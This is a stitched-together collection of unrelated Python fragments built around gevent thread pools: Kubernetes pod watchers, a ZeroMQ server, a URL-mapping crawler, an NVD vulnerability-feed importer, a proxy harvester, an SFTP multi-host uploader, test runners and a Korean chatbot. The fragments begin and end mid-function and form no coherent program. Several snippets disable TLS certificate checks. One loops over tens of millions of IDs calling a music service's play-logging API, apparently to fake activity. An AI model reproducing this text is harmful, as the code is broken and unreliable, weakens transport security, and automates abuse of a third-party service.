c.verify_ssl = False
client.Configuration.set_default(c)
self._k8s_namespace = k8s_namespace or os.environ.get('MARS_K8S_POD_NAMESPACE') or 'default'
self._full_label_selector = None
self._client = client.CoreV1Api(client.ApiClient(self._k8s_config))
self._pool = ThreadPool(1)
self._service_pod_to_ep = dict()
def __reduce__(self):
return type(self), (self._k8s_config, self._k8s_namespace)
def _get_label_selector(self, service_type):
if self._full_label_selector is not None:
return self._full_label_selector
selectors = [f'mars/service-type={service_type}']
if 'MARS_K8S_GROUP_LABELS' in os.environ:
group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',')
cur_pod_info = self._pool.spawn(self._client.read_namespaced_pod,
os.environ['MARS_K8S_POD_NAME'],
namespace=self._k8s_namespace).result().to_dict()
for label in group_labels:
label_val = cur_pod_info['metadata']['labels'][label]
selectors.append(f'{label}={label_val}')
self._full_label_selector = ','.join(selectors)
logger.debug('Using pod selector %s', self._full_label_selector)
return self._full_label_selector
def _extract_pod_name_ep(self, pod_data):
pod_ip = pod_data["status"].get("podIP") or pod_data["status"].get("pod_ip")
ports_def = pod_data['spec']['containers'][0]['ports'][0]
svc_port = ports_def.get('containerPort') or ports_def.get('container_port')
return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}'
@staticmethod
def _extract_pod_ready(obj_data):
return obj_data['status']['phase'] == 'Running'
def _get_pod_to_ep(self, service_type):
query = self._pool.spawn(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(service_type)
).result().to_dict()
result = dict()
for el in query['items']:
name, pod_ep = self._extract_pod_name_ep(el)
if pod_ep is not None and not self._extract_pod_ready(el):
pod_ep = None
result[name] = pod_ep
return result
def _get_endpoints_by_service_type(self, service_type, update=False):
if not self._service_pod_to_ep.get(service_type) or update:
self._service_pod_to_ep[service_type] = self._get_pod_to_ep(service_type)
return sorted(a for a in self._service_pod_to_ep[service_type].values() if a is not None)
def get_schedulers(self, update=False):
from .config import MarsSchedulersConfig
if "MARS_CLUSTER_DETAIL" in os.environ:
cluster = json.loads(os.getenv("MARS_CLUSTER_DETAIL"))
sched_endpoints = [ep for ep in list(cluster["scheduler"]) if requests.get(ep).ok]
self._service_pod_to_ep[MarsSchedulersConfig.rc_name] = sched_endpoints
return sorted(sched_endpoints)
return self._get_endpoints_by_service_type(MarsSchedulersConfig.rc_name, update=update)
def is_all_schedulers_ready(self):
from .config import MarsSchedulersConfig
self.get_schedulers(True)
pod_to_ep = self._service_pod_to_ep[MarsSchedulersConfig.rc_name]
if not pod_to_ep:
return False
return all(a is not None for a in pod_to_ep.values())
def _watch_service(self, service_type, linger=10):
from urllib3.exceptions import ReadTimeoutError
from kubernetes import watch
cur_pods = set(self._get_endpoints_by_service_type(service_type, update=True))
w = watch.Watch()
pod_to_ep = self._service_pod_to_ep[service_type]
while True:
# when some pods are not ready, we refresh faster
linger_seconds = linger() if callable(linger) else linger
streamer = w.stream(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(service_type),
timeout_seconds=linger_seconds
)
while True:
try:
event = self._pool.spawn(next, streamer, StopIteration).result()
if event is StopIteration:
raise StopIteration
except (ReadTimeoutError, StopIteration):
new_pods = set(self._get_endpoints_by_service_type(service_type, update=True))
if new_pods != cur_pods:
cur_pods = new_pods
yield self._get_endpoints_by_service_type(service_type, update=False)
break
except: # noqa: E722 # pragma: no cover # pylint: disable=bare-except
logger.exception('Unexpected error when watching on kubernetes')
break
obj_dict = event['object'].to_dict()
pod_name, endpoint = self._extract_pod_name_ep(obj_dict)
pod_to_ep[pod_name] = endpoint \
if endpoint and self._extract_pod_ready(obj_dict) else None
yield self._get_endpoints_by_service_type(service_type, update=False)
def watch_schedulers(self):
from .config import MarsSchedulersConfig
return self._watch_service(MarsSchedulersConfig.rc_name)
def watch_workers(self):
from .config import MarsWorkersConfig
return self._watch_service(MarsWorkersConfig.rc_name)
def rescale_workers(self, new_scale):
from .config import MarsWorkersConfig
self._client.patch_namespaced_replication_controller_scale(
MarsWorkersConfig.rc_name, self._k8s_namespace, {"spec": {"replicas": new_scale}}
)
def worker2():
time.sleep(5)
db, con = get_db_con()
print "start"
e.set()
for _ in xrange(1):
Counter.count += 1
assert "name" in db[COLL_NAME].find_one({"_id":"test"})
def worker3():
e.wait()
db, con = get_db_con()
for _ in xrange(1):
Counter.count += 1
assert "name" in db[COLL_NAME].find_one({"_id":"test"})
jobs = [
pool.spawn(worker1)
]
for _ in xrange(1):
jobs.append(pool.spawn(worker2))
jobs.append(pool.spawn(worker3))
d1 = time.time()
pool.join()
d2 = time.time()
print d2-d1
print Counter.count
class Server(object):
def __init__(self, settings):
self.settings = settings
self.address = settings.get('services_tcp_address')
self.work_address = settings.get('workers_tcp_address')
self.pool = Pool(POOL_SIZE)
self.tpool = ThreadPool(TPOOL_SIZE)
self.dead=False
def stopped(self):
return self.dead
def run(self):
# Scan for Zmq Service Handlers
scan_for_zmq_services()
context = zmq.Context()
frontend = context.socket(zmq.ROUTER)
frontend.bind(self.address)
backend = context.socket(zmq.DEALER)
backend.bind('inproc://backend')
worker = context.socket(zmq.PULL)
worker.bind(self.work_address)
poll = zmq.Poller()
poll.register(frontend, zmq.POLLIN)
poll.register(backend, zmq.POLLIN)
poll.register(worker, zmq.POLLIN)
while not self.stopped():
sockets = dict(poll.poll(1000))
if frontend in sockets:
if sockets[frontend] == zmq.POLLIN:
_id = frontend.recv()
msg = frontend.recv()
log.debug('Server received message from: %s\n' % _id)
self.pool.wait_available()
self.pool.spawn(handle_msg, context, _id, msg, **self.settings)
if backend in sockets:
if sockets[backend] == zmq.POLLIN:
_id = backend.recv()
msg = backend.recv()
log.debug('Server sending to frontend: %s\n' % _id)
frontend.send(_id, zmq.SNDMORE)
frontend.send(msg)
if worker in sockets:
if sockets[worker] == zmq.POLLIN:
msg = worker.recv()
log.debug('Dispatching work')
self.tpool.spawn(process_msg, msg, **self.settings)
# self.pool.wait_available()
# log.debug('Dispatching work')
# self.pool.spawn(process_msg, msg, **self.settings)
frontend.close()
backend.close()
worker.close()
context.term()
# signal handler
def sig_handler(self, sig, frame):
log.warning("Caught Signal: %s", sig)
self.pool.kill()
self.dead=True
def main():
if len(sys.argv) != 2:
print('[-] Please input the base URL of the target')
exit(0)
url = sys.argv[1]
# 爬取结果
url_set = {}
info = urlparse.urlparse(url)
print('[+] Protocol: {0}, domain: {1}'.format(info.scheme, info.netloc))
# 线程参数类
class ThreadParam:
# 所有线程
threads = []
# 当前线程
tmp_threads = []
# 待递归调用的参数
next_call = []
thread_param = ThreadParam()
# 线程池 20
pool = ThreadPool(20)
# 当前线程 <= 从提交的 URL 开始爬取
thread_param.next_call.append([_crawler, info, thread_param, pool, url_set, url])
while True:
# 所有线程 <= 当前线程
thread_param.threads += thread_param.tmp_threads
# 没有新的链接时，结束循环
if len(thread_param.next_call) == 0:
break
# 当前线程 <= 执行递归函数
thread_param.tmp_threads = [pool.spawn(*call) for call in thread_param.next_call]
# 待递归调用的参数置空，用于存储新参数
thread_param.next_call = []
gevent.joinall(thread_param.tmp_threads)
# 按路径解析 URL
def _parse_url(url):
url = url.replace('https://', '')
url = url.replace('http://', '')
res = url.split('/')
if len(res[-1]) == 0:
res = res[:-1]
return res
# 定义 URL 路径节点
class _Node:
def __init__(self, name, title):
# 序号
self.index = -1
# 路径名
self.name = name
# 标题
self.title = title
# 子节点
self.children = {}
# 父节点
self.parent = None
# 递归寻找跟节点
def root_node(self):
if not self.parent:
return self
else:
return self.parent.root_node()
# 深度优先遍历所有节点，并生成序号，节点放置到 dict 中
def traverse(self, dict):
self.index = len(dict)
dict[self.index] = self
for name in self.children.keys():
self.children[name].traverse(dict)
# 深度优先绘制节点间连边
def traverse_graph(self, graph):
for node in self.children.values():
graph.add_edge(self.index, node.index)
node.traverse_graph(graph)
root_nodes = {}
# 遍历所有 URL，生成所有路径节点
for url in url_set.keys():
title = url_set[url]
parsed_url = _parse_url(url)
parent_node = None
for name in parsed_url:
# 根节点
if not parent_node:
if name in root_nodes:
node = root_nodes[name]
else:
node = _Node(name, None)
root_nodes[name] = node
# 非根节点
else:
if name in parent_node.children:
node = parent_node.children[name]
else:
node = _Node(name, None)
node.parent = parent_node
parent_node.children[name] = node
# 在叶子节点上添加标题
if name is parsed_url[-1] and not node.title:
node.title = title
parent_node = node
# 节点字典 key：节点序号，value：节点
node_index = {}
for node in root_nodes.values():
node.traverse(node_index)
# networkx 初始化网络
graph = nx.Graph()
# 在网络中添加所有节点
for i in node_index.keys():
graph.add_node(i)
# 添加节点连边
for node in root_nodes.values():
node.traverse_graph(graph)
# 重命名节点
graph = nx.relabel_nodes(graph, {node.index: '{0}'.format(node.title) for node in node_index.values()})
# 绘制网络
nx.draw_spring(graph, with_labels=True, font_size=8, node_color='g')
# 保存在图片中
plt.savefig('{0}.png'.format(info.netloc), bbox_inches='tight')
class Upgrade(object):
def __init__(self, proxies=None, upgrade_interval_day='7d', http_timeout=15):
"""
:param proxies:
:param upgrade_interval_day:
:param http_timeout:
"""
self.http_timeout = int(http_timeout)
self.cve_path = paths.CVE_PATH
self.cve_cpe_db = paths.DB_FILE
self.cpe_file = os.path.join(self.cve_path, 'nvdcpematch-1.0.json')
interval_type = re.search(r'(\d+)(\w)', upgrade_interval_day)
if interval_type and interval_type.group(2) in ('d', 'h'):
if interval_type.group(2) == 'd':
self.upgrade_interval = 60 * 60 * 24 * int(interval_type.group(1))
elif interval_type.group(2) == 'h':
self.upgrade_interval = 60 * 60 * int(interval_type.group(1))
else:
self.upgrade_interval = 60 * 60 * 24 * 7
self.headers = {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en;q=0.9",
"connection": "keep-alive",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108"
}
self.headers.update(conf['http']['headers'])
self.pool = ThreadPool(10)
logger.info('Proxies: {0}'.format(proxies))
self.proxies = proxies
def download_cpe_match_file(self):
"""
:return:
"""
try:
url = 'https://nvd.nist.gov/feeds/json/cpematch/1.0/nvdcpematch-1.0.json.gz'
logger.info('[DOWNLOAD] {0}'.format(url))
with requests.get(
url,
headers=self.headers,
stream=True,
proxies=self.proxies,
timeout=self.http_timeout,
verify=False
) as r:
r.raise_for_status()
with open('{0}.gz'.format(self.cpe_file), 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
logger.info("Start extracting '{0}' files...".format(self.cve_path))
with gzip.open('{0}.gz'.format(self.cpe_file), 'rb') as f_in:
with open(self.cpe_file, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
os.unlink('{0}.gz'.format(self.cpe_file))
except Exception as ex:
raise ex
def download_cve_file(self):
"""
:return:
"""
def download_file(year):
try:
cve_file = os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json.gz'.format(year))
url = 'https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-{0}.json.gz'.format(year)
logger.info('[DOWNLOAD] {0}'.format(url))
with requests.get(
url,
headers=self.headers,
stream=True,
proxies=self.proxies,
timeout=self.http_timeout,
verify=False
) as r:
r.raise_for_status()
with open(cve_file, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
logger.info("Start extracting '{0}' files...".format(cve_file))
with gzip.open(cve_file, 'rb') as f_in:
with open(os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json'.format(year)), 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
os.unlink(cve_file)
except Exception as ex:
raise ex
current_year = datetime.datetime.now().year
for i in range(2002, current_year + 1):
self.pool.spawn(download_file, i)
gevent.wait()
def cve_upgrade(self):
"""
:return:
"""
def get_problem_type(info):
"""
:return:
"""
result = ''
if 'problemtype_data' in info and info['problemtype_data']:
if 'description' in info['problemtype_data'][0] and info['problemtype_data'][0]['description']:
result = info['problemtype_data'][0]['description'][0]['value']
return result
def get_links(info):
"""
:return:
"""
result = []
if 'reference_data' in info and info['reference_data']:
for ref in info['reference_data']:
result.append(ref['url'])
return '\n'.join(result)
kb.db = MySQLHelper()
json_path = '{0}/nvdcve-1.1*.json'.format(self.cve_path)
json_list = glob.glob(json_path)
cve_list = []
for cve_file in json_list:
with open(cve_file, 'rb') as fp:
json_obj = json.load(fp)
for _ in json_obj['CVE_Items']:
if not _['configurations']['nodes']:
continue
cve = _['cve']['CVE_data_meta']['ID']
problemtype = get_problem_type(_['cve']['problemtype'])
year_re = re.search(r'CVE-(\d+)-\d+', cve, re.I)
year = year_re.group(1)
links = get_links(_['cve']['references'])
description = _['cve']['description']['description_data'][0]['value']
if 'cpe_match' not in _['configurations']['nodes'][0]:
if 'children' in _['configurations']['nodes'][0]:
if 'cpe_match' in _['configurations']['nodes'][0]['children'][0]:
cpe_match = _['configurations']['nodes'][0]['children'][0]['cpe_match']
else:
cpe_match = _['configurations']['nodes'][0]['cpe_match']
for item in cpe_match:
"""
cve, description, links, cvss_v2_severity, cvss_v2_impactscore, cvss_v3_impactscore
"""
v3 = _['impact']['baseMetricV3']['impactScore'] if 'baseMetricV3' in _['impact'] else ''
cve_list.append((
cve,
item['cpe23Uri'],
description,
links,
problemtype,
year,
_['impact']['baseMetricV2']['severity'],
_['impact']['baseMetricV2']['impactScore'],
v3,
))
if len(cve_list) % 1000000 == 0:
kb.db.create_cve_bulk(cve_list)
cve_list = []
if cve_list:
kb.db.create_cve_bulk(cve_list)
def cpe_upgrade(self):
"""
:return:
"""
kb.db = MySQLHelper()
with open(self.cpe_file, 'rb') as fp:
json_obj = json.load(fp)
obj_list = []
for cpes in json_obj['matches']:
cpe23_uri = cpes['cpe23Uri']
for item in cpes['cpe_name']:
cpe_part = cpe_parse(item['cpe23Uri'])
obj_list.append((
cpe_part["vendor"],
cpe_part["product"],
cpe_part["version"],
cpe_part["update"],
cpe23_uri,
cpe_part["edition"],
cpe_part["language"],
cpe_part["sw_edition"],
cpe_part["target_sw"],
cpe_part["target_hw"],
cpe_part["other"]
))
if len(obj_list) % 100000 == 0:
kb.db.create_cpe_bulk(obj_list)
obj_list = []
if obj_list:
kb.db.create_cpe_bulk(obj_list)
def start(self):
try:
s_time = time.time()
# self.download_cpe_match_file()
# self.download_cve_file()
self.cpe_upgrade()
self.cve_upgrade()
logger.info('total seconds: {0}'.format(time.time() - s_time))
except Exception as ex:
import traceback;
traceback.print_exc()
logger.error(ex)
def spawn_queue(front, back):
tp = ThreadPool(1)
result_obj = tp.spawn(zmq.device, zmq.QUEUE, front, back)
return tp, result_obj
def admin_init(self):
if self.load_cache():
return
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
class K8SPodsIPWatcher(object):
"""
Pods watcher class, compatible with SchedulerDiscoverer
"""
dynamic = True
def __init__(self,
k8s_config=None,
k8s_namespace=None,
label_selector=None):
from kubernetes import config, client
from gevent.threadpool import ThreadPool
if k8s_config is not None:
self._k8s_config = k8s_config
elif os.environ.get('KUBE_API_ADDRESS'):
self._k8s_config = client.Configuration()
self._k8s_config.host = os.environ['KUBE_API_ADDRESS']
else:
self._k8s_config = config.load_incluster_config()
self._k8s_namespace = k8s_namespace or os.environ.get(
'MARS_K8S_POD_NAMESPACE') or 'default'
self._label_selector = label_selector
self._full_label_selector = None
self._client = client.CoreV1Api(client.ApiClient(self._k8s_config))
self._pool = ThreadPool(1)
self._pod_to_ep = None
def __reduce__(self):
return type(self), (self._k8s_config, self._k8s_namespace,
self._label_selector)
def _get_label_selector(self):
if self._full_label_selector is not None:
return self._full_label_selector
selectors = [self._label_selector]
if 'MARS_K8S_GROUP_LABELS' in os.environ:
group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',')
cur_pod_info = self._pool.spawn(
self._client.read_namespaced_pod,
os.environ['MARS_K8S_POD_NAME'],
namespace=self._k8s_namespace).result().to_dict()
for label in group_labels:
label_val = cur_pod_info['metadata']['labels'][label]
selectors.append(f'{label}={label_val}')
self._full_label_selector = ','.join(selectors)
logger.debug('Using pod selector %s', self._full_label_selector)
return self._full_label_selector
def _extract_pod_name_ep(self, pod_data):
pod_ip = pod_data["status"]["pod_ip"]
svc_port = pod_data['spec']['containers'][0]['ports'][0][
'container_port']
return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}'
@staticmethod
def _extract_pod_ready(obj_data):
if obj_data['status']['phase'] != 'Running':
return False
# if conditions not supported, always return True
if 'status' not in obj_data or 'conditions' not in obj_data['status']:
return True
return any(cond['type'] == 'Ready' and cond['status'] == 'True'
for cond in obj_data['status']['conditions'])
def _get_pod_to_ep(self):
query = self._pool.spawn(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector()).result().to_dict()
result = dict()
for el in query['items']:
name, pod_ep = self._extract_pod_name_ep(el)
if pod_ep is not None and not self._extract_pod_ready(el):
pod_ep = None
result[name] = pod_ep
return result
def get(self, update=False):
if self._pod_to_ep is None or update:
self._pod_to_ep = self._get_pod_to_ep()
return sorted(a for a in self._pod_to_ep.values() if a is not None)
def is_all_ready(self):
self.get(True)
if not self._pod_to_ep:
return False
return all(a is not None for a in self._pod_to_ep.values())
def watch(self):
from urllib3.exceptions import ReadTimeoutError
from kubernetes import watch
cur_pods = set(self.get(True))
w = watch.Watch()
while True:
# when some schedulers are not ready, we refresh faster
linger = 10 if self.is_all_ready() else 1
streamer = w.stream(self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(),
timeout_seconds=linger)
while True:
try:
event = self._pool.spawn(next, streamer,
StopIteration).result()
if event is StopIteration:
raise StopIteration
except (ReadTimeoutError, StopIteration):
new_pods = set(self.get(True))
if new_pods != cur_pods:
cur_pods = new_pods
yield self.get(False)
break
except: # noqa: E722
logger.exception(
'Unexpected error when watching on kubernetes')
break
obj_dict = event['object'].to_dict()
pod_name, endpoint = self._extract_pod_name_ep(obj_dict)
self._pod_to_ep[pod_name] = endpoint \
if endpoint and self._extract_pod_ready(obj_dict) else None
yield self.get(False)
print '========================================================================'
print 'Starting Test:', test.TEST['name']
if complete_task(test) is False:
print test.TEST['name'], 'Test Failed'
return
print test.TEST['name'], 'Test Success'
if __name__ == '__main__':
get_input()
test_suite = importlib.import_module(input_file[:input_file.find('.py')])
print '========================================================================'
print 'Test Suite Project Name:', test_suite.TEST['project_name']
if 'init_hooks' in test_suite.TEST:
test_suite.TEST['init_hooks'](global_headers, global_post_param,
global_query_param)
domain = '%s://%s' % (test_suite.TEST['protocol'],
test_suite.TEST['domain'])
for i in range(0, len(test_suite.TEST['testcases'])):
tasks.put_nowait(test_suite.TEST['testcases'][i])
pool = ThreadPool(threads_count)
for _ in range(threads_count):
pool.spawn(worker)
pool.join()
continue
ip = tr.find('td').eq(1).text()
port = tr.find('td').eq(2).text()
#proxy = ip+':'+port
proxy = {'ip': ip, 'port': port}
proxies.append(proxy)
return proxies
def proxy_test(proxy):
try:
resp = requests.get(
TEST_URL,
proxies={
'http': 'http://{0}:{1}'.format(proxy['ip'], proxy['port']),
'https': 'https://{0}:{1}'.format(proxy['ip'], proxy['port'])
},
timeout=10)
if resp and resp.status_code == 200:
print('Valid proxy', proxy)
collection.insert(proxy)
#print('Valid proxy', proxy)
except Exception as e:
pass
proxies = proxy_xici()
pool = ThreadPool(20)
threads = [pool.spawn(proxy_test, each) for each in proxies]
gevent.joinall(threads)
from __future__ import print_function
import time
import gevent
from gevent.threadpool import ThreadPool
import requests
def get(url):
print(requests.get(url).status_code)
pool = ThreadPool(40)
start = time.time()
for _ in range(40):
print(_)
pool.spawn(get, 'http://www.baidu.com/')
gevent.wait(timeout=3)
delay = time.time() - start
print(
'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs'
% delay)
pool = ThreadPool(40)
start = time.time()
for _ in range(40):
print(_)
pool.spawn(get, 'http://www.baidu.com/')
gevent.wait(timeout=3)
delay = time.time() - start
print(
'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs'
self.transport.open()
def Parse(self, url, document, cg):
return self.client.Parse(url, document, cg)
def Parse2(self, url, document, cg):
return self.client.Parse2(url, document, cg)
def run():
client = ParserClient()
client.Parse("url", "document", "url")
client.Parse2("url", "document", "url")
client.transport.close()
if __name__ == "__main__":
url = "url"
document = "document"
cg = "cg"
import time
start = time.time()
thread_num = 1000
total_num = 10000
pool = ThreadPool(thread_num)
for i in xrange(total_num):
print "spawn %s thread" % i
pool.spawn(run)
gevent.wait()
end = time.time()
print end-start
#!/usr/bin/env python
import time
import gevent
from gevent.threadpool import ThreadPool
import numpy as np
def qsort(array):
"""quick sort"""
if len(array) < 2:
return array
pivot = array[0]
return qsort([x for x in array[1:] if x < pivot])+[pivot]+qsort([x for x in array[1:] if x >= pivot])
if __name__ == '__main__':
pool = ThreadPool(3)
start = time.time()
data = np.arange(10000)
np.random.shuffle(data)
for _ in range(4):
pool.spawn(qsort, data)
gevent.wait()
delay = time.time() - start
print('Running qsort seconds: %.3fs' % delay)
test = importlib.import_module(task[:task.find('.py')])
print '========================================================================'
print 'Starting Test:', test.TEST['name']
if complete_task(test) is False:
print test.TEST['name'], 'Test Failed'
return
print test.TEST['name'], 'Test Success'
if __name__ == '__main__':
get_input()
test_suite = importlib.import_module(input_file[:input_file.find('.py')])
print '========================================================================'
print 'Test Suite Project Name:', test_suite.TEST_ENV['project_name']
if 'init_hooks' in test_suite.TEST_ENV:
if not test_suite.TEST_ENV['init_hooks'](global_headers, global_post_param, global_query_param):
print 'Init Failed'
domain = '%s://%s' % (test_suite.TEST_ENV['protocol'], test_suite.TEST_ENV['domain'])
for i in range(0, len(test_suite.TEST_ENV['testcases'])):
tasks.put_nowait(test_suite.TEST_ENV['testcases'][i])
pool = ThreadPool(threads_count)
for _ in range(threads_count):
pool.spawn(worker)
pool.join()
def admin_init(self):
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
play_time = song_info[0]['bMusic']['playTime']/1000
except IndexError:
play_time = 60
print 'finish %s %s' % (i, joker.track_log(i, play_time))
#time.sleep(0.5)
else:
print 'no song %s' % (i)
# Start 10 threads
#print joker.sendmail([277526727], '你爱我吗？')
#print joker.send_song_list_mail(622835784, 'sssss' ,[277526727])
for k in range(523952247, 600000000):
pool.spawn(track_log, k)
#
#gevent.wait()
#print "finish all"
#
#for i in reversed(back_song_list):
# print "current %s" % i
# need_add_track_logs = []
# song_list_detail = joker.playlist_detail(i)
# for song_detail in song_list_detail:
# need_add_track_logs.append(song_detail['id'])
# print need_add_track_logs
#
# for song_id in need_add_track_logs:
# song_info = joker.song_info(song_id)
# # print song_info
def queue(self, front, back):
tp = ThreadPool(1)
front = self.router(bind=front)
back = self.dealer(bind=back)
result_obj = tp.spawn(zmq.device, zmq.QUEUE, front, back)
return tp, result_obj
sftp.mkdir(remote_dir)
except Exception as e:
logging.warn('%s: %s create dir fail!check!'%(host,remote_dir))
return '%s-%s'%(remote_dir,e)
logging.info('%s: %s dir is create'%(host,remote_dir))
for f in files:
local_file = os.path.join(root,f)
path = local_file.replace(local_path,'').replace('\\','/')
remote_file = remote_path+path
try:
sftp.put(local_file,remote_file)
except Exception as e:
logging.warn('%s: %s upload file fail!'%(host,remote_file))
return '%s'%e
logging.info("%s: upload %s to remote %s"%(host,local_file,remote_file))
sftp.close()
ssh.close()
logging.info("%s: upload all file success"%host)
return 'upload all file success'
if __name__ == '__main__':
pool = ThreadPool(30)
local_dir = sys.argv[1]
remote_dir = sys.argv[2]
if not os.path.exists(local_dir) and not os.path.isdir(local_dir):
sys.stdout.write('not find the dir: %s'%local_dir)
sys.exit(1)
for i in open('iplist.txt'):
pool.spawn(sync,i.strip(),local_dir,remote_dir)
gevent.wait()
class IntentTransportPlugin(Plugin):
def _init(self):
if self.config.get("enable_intent"):
self.api.register_transport_client(("intent", "intent"),
self.send_request_indication)
self._initialized()
def send_request_indication(self, request_indication):
with Promise() as p:
from .client import XIXIntentClient
fullpath = request_indication.path
parsed = urlparse(fullpath)
request_indication = copy(request_indication)
request_indication.path = urlunparse(
ParseResult("", "", *parsed[2:]))
client = XIXIntentClient(parsed.netloc, self.config["Issuer"],
self.logger, self.config["listenActions"])
p.fulfill(client.send_request_indication(request_indication))
return p
def _start(self):
try:
max_queue_size = self.config["queue_max_size"]
except:
max_queue_size = 1000
self.gevent_queue = Queue(max_queue_size)
self.intent_handler = IntentHandler(self.logger, self.config)
self.greenlet = Greenlet.spawn(
self.intent_handler.executeQueuedRequests, self.gevent_queue,
self.api.handle_request_indication)
self.logger.info("started greenlet")
if self.config.get("enable_intent"):
self.logger.info("starting intent server")
from server import IntentServer
self.intent_server = IntentServer(
self.api.handle_request_indication, self.gevent_queue,
self.config, self.logger)
self.gevent_threadpool = ThreadPool(1)
self.gevent_threadpool_worker = self.gevent_threadpool.spawn(
self.intent_server.start)
#self.intent_server.start()
from .activate import PA_Activation
pa_activation = PA_Activation(self.config, self.logger)
pa_activation.start()
for endpoint in self.config["endpoints"]:
self.api.register_endpoint(
endpoint["personality"],
"%s://%s" % ("intent", endpoint["interface"]))
if self.config.get("enable_test"):
from .test import test_read_params, test_create_app, test_create_app_property, test_subscribe_pushed_data, test_push_data, test_destroy_app, test_subscribe_apps_with_search_str
from .test import test_create_app_with_search_str, test_discover_apps_with_search_str, test_get_app, test_get_all_properties, test_get_latest_data_of_property
contact = "intent://intent_test/m2m"
from .test_retarget import test_retarget
test_retarget(self.api.handle_request_indication, self.logger,
self.config, "retrieve", "/m2m")
# contact = "http://localhost:8080"
test_read_params(self.api.handle_request_indication, self.logger,
self.config)
self.logger.info(
"============================================================")
# test_create_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_create_app_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_subscribe_pushed_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty", contact)
self.logger.info(
"============================================================")
# test_push_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_get_all_properties(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_get_latest_data_of_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_subscribe_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", contact)
test_subscribe_apps_with_search_str(
self.api.handle_request_indication, self.logger, self.config,
None, contact)
self.logger.info(
"============================================================")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", "healthDevice")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", None)
self.logger.info(
"============================================================")
# test_discover_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", "intent://test_action")
self.logger.info(
"============================================================")
# test_get_app(self.api.handle_request_indication, self.logger, self.config, "myApp", "intent://test_action")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
self._started()
def _stop(self):
#self.__rack.stop()
if self.gevent_threadpool_worker:
self.gevent_threadpool_worker.kill()
if self.greenlet:
self.greenlet.kill()
self._stopped()
for i in xrange(100):
i += i+1 * 20 / 10 * 10 /10
def test(n,m):
m=m
vals = []
keys = []
for i in xrange(m):
vals.append(i)
keys.append('a%s'%i)
return keys
pool = ThreadPool(20)
start = time.time()
for _ in xrange(10):
pool.spawn(test)
gevent.wait()
delay = time.time() - start
print 'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs' % delay
import gevent
def foo():
print('Running in foo')
gevent.sleep(0)
print('Explicit context switch to foo again')
def bar():
print('Explicit context to bar')
class Botdol(Bot):
def __init__(self):
super(Botdol, self).__init__()
self._version = 1.0
self._name = "봇돌이"
urlparse.uses_netloc.append("postgres")
url = urlparse.urlparse(os.environ["DATABASE_URL"])
self._pgconn = psycopg2.connect(database=url.path[1:],
user=url.username,
password=url.password,
host=url.hostname,
port=url.port)
with self._pgconn.cursor() as cursor:
self._init_db(cursor)
self._variable = Variable.load(cursor)
self._wordquiz = Wordquiz.load(cursor)
self._dday = Dday.load(cursor)
self._keyword = Keyword.load(cursor)
self._mafiagame = MafiaGame()
self._coinanalyzer = CoinAnalyzer()
self._pool = ThreadPool(1)
self._pool.spawn(self._coinanalyzer.run)
# 빨래통
self.add_command(111740297355267,
VariableListOrAddCommand("ㄱ", self._variable))
self.add_command(111740297355267,
VariableRemoveSingleCommand("ㄱㅅ", self._variable))
self.add_command(111740297355267,
VariableRemoveAllCommand("ㄱㅈㅅ", self._variable))
self.add_command(111740297355267, HangangCommand("자살"))
self.add_command(111740297355267,
WordquizInfoCommand("ㅈㅋ", self._wordquiz))
self.add_command(111740297355267,
WordquizImpeachCommand("ㅋㅌ", self._wordquiz))
self.add_command(111740297355267, SummaryCommand("세줄요약"))
self.add_command(111740297355267, MafiaCommand("ㅁㅍㅇ", self._mafiagame))
self.add_command(111740297355267, MusicSearchCommand("ㅇㄱ"))
self.add_command(111740297355267, MusicDownloadCommand("ㅇㄷ"))
self.add_command(111740297355267, ShareCommand("지분"))
self.add_command(111740297355267,
DdayListOrAddCommand("ㄷㄷㅇ", self._dday))
self.add_command(111740297355267, DdayRemoveCommand("ㄷㅅ", self._dday))
self.add_command(111740297355267,
KeywordListOrAddCommand("ㅋㅇㄷ", self._keyword))
